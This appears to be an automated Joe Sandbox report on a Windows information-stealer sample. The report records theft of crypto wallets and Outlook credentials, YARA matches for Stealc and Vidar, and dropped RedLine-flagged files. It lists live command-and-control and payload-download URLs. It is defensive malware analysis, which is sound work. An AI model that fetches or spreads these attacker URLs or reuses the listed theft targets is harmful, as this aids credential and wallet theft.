Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match

File source: Process Memory Space: RegAsm.exe PID: 7728, type: MEMORYSTR

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 00000002.00000002.1854451484.0000000000C3A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 7728, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: RegAsm.exe PID: 7728, type: MEMORYSTR

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CB20C40 sqlite3_bind_zeroblob,	2_2_6CB20C40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CB20D60 sqlite3_bind_parameter_name,	2_2_6CB20D60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CA48EA0 sqlite3_clear_bindings,	2_2_6CA48EA0

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	11 Native API	1 DLL Side-Loading	1 DLL Side-Loading	11 Disable or Modify Tools	2 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Scheduled Task/Job	1 Scheduled Task/Job	511 Process Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	4 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 Scheduled Task/Job	3 Obfuscated Files or Information	Security Account Manager	3 File and Directory Discovery	SMB/Windows Admin Shares	1 Screen Capture	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	12 Software Packing	NTDS	244 System Information Discovery	Distributed Component Object Model	1 Email Collection	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	231 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Masquerading	Cached Domain Credentials	131 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	131 Virtualization/Sandbox Evasion	DCSync	12 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	511 Process Injection	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	HTML Smuggling	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	21%	ReversingLabs

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\l2[1].exe	100%	Avira	HEUR/AGEN.1304053
C:\ProgramData\JKJDAEBFCB.exe	100%	Avira	HEUR/AGEN.1304053
C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	100%	Avira	HEUR/AGEN.1304053
C:\ProgramData\JKJDAEBFCB.exe	74%	ReversingLabs	Win32.Ransomware.RedLine
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\l2[1].exe	74%	ReversingLabs	Win32.Ransomware.RedLine
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\vcruntime140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	74%	ReversingLabs	Win32.Ransomware.RedLine

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
http://ocsp.sectigo.com0	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
https://sectigo.com/CPS0	0%	URL Reputation	safe
https://mozilla.org0/	0%	URL Reputation	safe
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Ed1aWxkV	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17mluIFdhbGxldHxmbmpobWtoaG1rYm	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	0%	URL Reputation	safe
https://support.mozilla.org	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe
http://45.152.113.10/15a25e53742510fe/freebl3.dll	100%	Avira URL Cloud	malware
http://45.152.113.10/15a25e53742510fe/sqlite3.dll	100%	Avira URL Cloud	malware
http://45.152.113.10	100%	Avira URL Cloud	malware
https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF	0%	Avira URL Cloud	safe
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	0%	Avira URL Cloud	safe
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	0%	Avira URL Cloud	safe
http://45.152.113.10/15a25e53742510fe/freebl3.dll5	100%	Avira URL Cloud	malware
http://45.152.113.10/92335b4816f77e90.phpL	100%	Avira URL Cloud	malware
http://ocsp.entrust.net03	0%	Avira URL Cloud	safe
http://ocsp.entrust.net02	0%	Avira URL Cloud	safe
http://45.152.113.10/15a25e53742510fe/freebl3.dll?	100%	Avira URL Cloud	malware
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi	0%	Avira URL Cloud	safe
http://45.152.113.10/92335b4816f77e90.phpI	100%	Avira URL Cloud	malware
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17chost.exe	0%	Avira URL Cloud	safe
http://crl.entrust.net/ts1ca.crl0	0%	Avira URL Cloud	safe
http://45.152.113.10/15a25e53742510fe/vcruntime140.dll	100%	Avira URL Cloud	malware
https://evokeedgellc.com/	0%	Avira URL Cloud	safe
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016.exe	0%	Avira URL Cloud	safe
http://45.152.113.10/15a25e53742510fe/softokn3.dll	100%	Avira URL Cloud	malware
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	0%	Avira URL Cloud	safe
http://www.sqlite.org/copyright.html.	0%	Avira URL Cloud	safe
http://45.152.113.10/15a25e53742510fe/mozglue.dll	100%	Avira URL Cloud	malware
http://www.mozilla.com/en-US/blocklist/	0%	Avira URL Cloud	safe
https://cdn.epnacl	0%	Avira URL Cloud	safe
https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg	0%	Avira URL Cloud	safe
http://45.152.113.10/92335b4816f77e90.php7N	100%	Avira URL Cloud	malware
http://45.152.113.10/92335b4816f77e90.phplets	100%	Avira URL Cloud	malware
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	0%	Avira URL Cloud	safe
http://45.152.113.10/92335b4816f77e90.phppi	100%	Avira URL Cloud	malware
http://www.entrust.net/rpa03	0%	Avira URL Cloud	safe
https://evokeedgellc.com/app/l2.exe0.phproductions	0%	Avira URL Cloud	safe
http://45.152.113.10/92335b4816f77e90.phpw	100%	Avira URL Cloud	malware
http://45.152.113.10/92335b4816f77e90.phpppresolver.dlli	100%	Avira URL Cloud	malware
https://evokeedgellc.com/app/l2.exea8bb34fdbdd4d3db445370cf35c70f2b9e8e.	0%	Avira URL Cloud	safe
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	0%	Avira URL Cloud	safe
http://45.152.113.10/92335b4816f77e90.php	100%	Avira URL Cloud	malware
http://45.152.113.10/92335b4816f77e90.phpu	100%	Avira URL Cloud	malware
http://aia.entrust.net/ts1-chain256.cer01	0%	Avira URL Cloud	safe
https://evokeedgellc.com/app/l2.exe00Start0mJIG	0%	Avira URL Cloud	safe
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	0%	Avira URL Cloud	safe
http://45.152.113.10/	100%	Avira URL Cloud	malware
https://cdn.ep	0%	Avira URL Cloud	safe
http://45.152.113.10/15a25e53742510fe/msvcp140.dll	100%	Avira URL Cloud	malware
http://45.152.113.10/15a25e53742510fe/nss3.dll	100%	Avira URL Cloud	malware
http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#	0%	Avira URL Cloud	safe
https://evokeedgellc.com/app/l2.exeg	0%	Avira URL Cloud	safe
http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t	0%	Avira URL Cloud	safe
https://evokeedgellc.com/app/l2.exeq	0%	Avira URL Cloud	safe
http://crl.entrust.net/2048ca.crl0	0%	Avira URL Cloud	safe
http://45.152.113.10amData	0%	Avira URL Cloud	safe
https://www.entrust.net/rpa0	0%	Avira URL Cloud	safe
https://evokeedgellc.com/app/l2.exe	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
evokeedgellc.com	198.54.120.231	true	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://45.152.113.10/15a25e53742510fe/sqlite3.dll	true	Avira URL Cloud: malware	unknown
http://45.152.113.10/15a25e53742510fe/freebl3.dll	true	Avira URL Cloud: malware	unknown
http://45.152.113.10/15a25e53742510fe/vcruntime140.dll	true	Avira URL Cloud: malware	unknown
http://45.152.113.10/15a25e53742510fe/softokn3.dll	true	Avira URL Cloud: malware	unknown
http://45.152.113.10/15a25e53742510fe/mozglue.dll	true	Avira URL Cloud: malware	unknown
http://45.152.113.10/92335b4816f77e90.php	true	Avira URL Cloud: malware	unknown
http://45.152.113.10/	true	Avira URL Cloud: malware	unknown
http://45.152.113.10/15a25e53742510fe/msvcp140.dll	true	Avira URL Cloud: malware	unknown
http://45.152.113.10/15a25e53742510fe/nss3.dll	true	Avira URL Cloud: malware	unknown
https://evokeedgellc.com/app/l2.exe	false	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	EHJKFCGH.2.dr	false	URL Reputation: safe	unknown
https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF	IIJDBGDGCGDAKFIDGIDBFIEHDH.2.dr	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/ac/?q=	EHJKFCGH.2.dr	false	URL Reputation: safe	unknown
http://ocsp.sectigo.com0	JKJDAEBFCB.exe, 00000005.00000003.1852097692.0000000002BEF000.00000004.00000020.00020000.00000000.sdmp, l2[1].exe.2.dr, JKJDAEBFCB.exe.2.dr, oobeldr.exe.5.dr	false	URL Reputation: safe	unknown
http://ocsp.entrust.net03	file.exe	false	Avira URL Cloud: safe	unknown
http://ocsp.entrust.net02	file.exe	false	Avira URL Cloud: safe	unknown
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	RegAsm.exe, 00000002.00000002.1854451484.0000000000D12000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.1871240631.00000000270C1000.00000004.00000020.00020000.00000000.sdmp, GCGIDGCGIEGDGDGDGHJK.2.dr	false	Avira URL Cloud: safe	unknown
http://45.152.113.10/15a25e53742510fe/freebl3.dll5	RegAsm.exe, 00000002.00000002.1854451484.0000000000C7D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	RegAsm.exe, 00000002.00000002.1854451484.0000000000CF2000.00000004.00000020.00020000.00000000.sdmp, EHJKFCGH.2.dr	false	URL Reputation: safe	unknown
http://45.152.113.10	RegAsm.exe, 00000002.00000002.1853816694.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.1854451484.0000000000C3A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.1853816694.0000000000400000.00000040.00000400.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	RegAsm.exe, 00000002.00000002.1853816694.000000000059C000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://45.152.113.10/92335b4816f77e90.phpL	RegAsm.exe, 00000002.00000002.1854451484.0000000000C3A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://45.152.113.10/92335b4816f77e90.phpI	RegAsm.exe, 00000002.00000002.1854451484.0000000000C9B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://45.152.113.10/15a25e53742510fe/freebl3.dll?	RegAsm.exe, 00000002.00000002.1854451484.0000000000C7D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi	GCGIDGCGIEGDGDGDGHJK.2.dr	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	RegAsm.exe, 00000002.00000002.1854451484.0000000000CF2000.00000004.00000020.00020000.00000000.sdmp, EHJKFCGH.2.dr	false	URL Reputation: safe	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17chost.exe	RegAsm.exe, 00000002.00000002.1853816694.000000000059C000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016.exe	RegAsm.exe, 00000002.00000002.1853816694.000000000059C000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.entrust.net/ts1ca.crl0	file.exe	false	Avira URL Cloud: safe	unknown
https://evokeedgellc.com/	RegAsm.exe, 00000002.00000002.1854451484.0000000000D12000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	RegAsm.exe, 00000002.00000002.1854451484.0000000000D12000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.1871240631.00000000270C1000.00000004.00000020.00020000.00000000.sdmp, GCGIDGCGIEGDGDGDGHJK.2.dr	false	Avira URL Cloud: safe	unknown
http://www.sqlite.org/copyright.html.	RegAsm.exe, 00000002.00000002.1865423926.000000001B0AA000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.1875271976.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cdn.epnacl	RegAsm.exe, 00000002.00000002.1854451484.0000000000CF2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.mozilla.com/en-US/blocklist/	RegAsm.exe, RegAsm.exe, 00000002.00000002.1875479995.000000006C9AD000.00000002.00000001.01000000.00000009.sdmp, mozglue[1].dll.2.dr, mozglue.dll.2.dr	false	Avira URL Cloud: safe	unknown
https://sectigo.com/CPS0	RegAsm.exe, 00000002.00000002.1871240631.00000000270C1000.00000004.00000020.00020000.00000000.sdmp, JKJDAEBFCB.exe, 00000005.00000003.1852097692.0000000002BEF000.00000004.00000020.00020000.00000000.sdmp, l2[1].exe.2.dr, JKJDAEBFCB.exe.2.dr, oobeldr.exe.5.dr	false	URL Reputation: safe	unknown
https://mozilla.org0/	freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	false	URL Reputation: safe	unknown
http://45.152.113.10/92335b4816f77e90.phplets	RegAsm.exe, 00000002.00000002.1853816694.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg	RegAsm.exe, 00000002.00000002.1854451484.0000000000D12000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.1871240631.00000000270C1000.00000004.00000020.00020000.00000000.sdmp, GCGIDGCGIEGDGDGDGHJK.2.dr	false	Avira URL Cloud: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	EHJKFCGH.2.dr	false	Avira URL Cloud: safe	unknown
http://45.152.113.10/92335b4816f77e90.php7N	RegAsm.exe, 00000002.00000002.1854451484.0000000000C3A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://45.152.113.10/92335b4816f77e90.phppi	RegAsm.exe, 00000002.00000002.1874915133.000000002DEA6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.entrust.net/rpa03	file.exe	false	Avira URL Cloud: safe	unknown
https://evokeedgellc.com/app/l2.exe0.phproductions	RegAsm.exe, 00000002.00000002.1853816694.000000000059C000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://45.152.113.10/92335b4816f77e90.phpw	RegAsm.exe, 00000002.00000002.1874915133.000000002DEA6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://45.152.113.10/92335b4816f77e90.phpppresolver.dlli	RegAsm.exe, 00000002.00000002.1874915133.000000002DEA6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://45.152.113.10/92335b4816f77e90.phpu	RegAsm.exe, 00000002.00000002.1854451484.0000000000C9B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Ed1aWxkV	RegAsm.exe, 00000002.00000002.1853816694.000000000059C000.00000040.00000400.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://evokeedgellc.com/app/l2.exea8bb34fdbdd4d3db445370cf35c70f2b9e8e.	RegAsm.exe, 00000002.00000002.1853816694.000000000059C000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://aia.entrust.net/ts1-chain256.cer01	file.exe	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	EHJKFCGH.2.dr	false	URL Reputation: safe	unknown
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	RegAsm.exe, 00000002.00000002.1854451484.0000000000D12000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.1871240631.00000000270C1000.00000004.00000020.00020000.00000000.sdmp, GCGIDGCGIEGDGDGDGHJK.2.dr	false	Avira URL Cloud: safe	unknown
https://evokeedgellc.com/app/l2.exe00Start0mJIG	RegAsm.exe, 00000002.00000002.1853816694.000000000059C000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	RegAsm.exe, 00000002.00000002.1853816694.000000000059C000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17mluIFdhbGxldHxmbmpobWtoaG1rYm	RegAsm.exe, 00000002.00000002.1853816694.000000000059C000.00000040.00000400.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.ecosia.org/newtab/	RegAsm.exe, 00000002.00000002.1854451484.0000000000CF2000.00000004.00000020.00020000.00000000.sdmp, EHJKFCGH.2.dr	false	URL Reputation: safe	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	IIJDBGDGCGDAKFIDGIDBFIEHDH.2.dr	false	URL Reputation: safe	unknown
https://cdn.ep	RegAsm.exe, 00000002.00000002.1854451484.0000000000CF2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ac.ecosia.org/autocomplete?q=	EHJKFCGH.2.dr	false	URL Reputation: safe	unknown
http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t	JKJDAEBFCB.exe, 00000005.00000003.1852097692.0000000002BEF000.00000004.00000020.00020000.00000000.sdmp, l2[1].exe.2.dr, JKJDAEBFCB.exe.2.dr, oobeldr.exe.5.dr	false	Avira URL Cloud: safe	unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	RegAsm.exe, 00000002.00000002.1854451484.0000000000D12000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.1871240631.00000000270C1000.00000004.00000020.00020000.00000000.sdmp, GCGIDGCGIEGDGDGDGHJK.2.dr	false	URL Reputation: safe	unknown
http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#	JKJDAEBFCB.exe, 00000005.00000003.1852097692.0000000002BEF000.00000004.00000020.00020000.00000000.sdmp, l2[1].exe.2.dr, JKJDAEBFCB.exe.2.dr, oobeldr.exe.5.dr	false	Avira URL Cloud: safe	unknown
https://evokeedgellc.com/app/l2.exeg	RegAsm.exe, 00000002.00000002.1854451484.0000000000C7D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.mozilla.org	IIJDBGDGCGDAKFIDGIDBFIEHDH.2.dr	false	URL Reputation: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	EHJKFCGH.2.dr	false	URL Reputation: safe	unknown
https://evokeedgellc.com/app/l2.exeq	RegAsm.exe, 00000002.00000002.1854451484.0000000000C7D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.entrust.net/2048ca.crl0	file.exe	false	Avira URL Cloud: safe	unknown
http://45.152.113.10amData	RegAsm.exe, 00000002.00000002.1853816694.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.entrust.net/rpa0	file.exe	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
45.152.113.10	unknown	Russian Federation		138576	CODECCLOUD-AS-APCodecCloudHKLimitedHK	true
198.54.120.231	evokeedgellc.com	United States		22612	NAMECHEAP-NETUS	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1509670
Start date and time:	2024-09-11 22:51:07 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 46s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@16/26@1/2
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 98% Number of executed functions: 81 Number of non-executed functions: 107
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
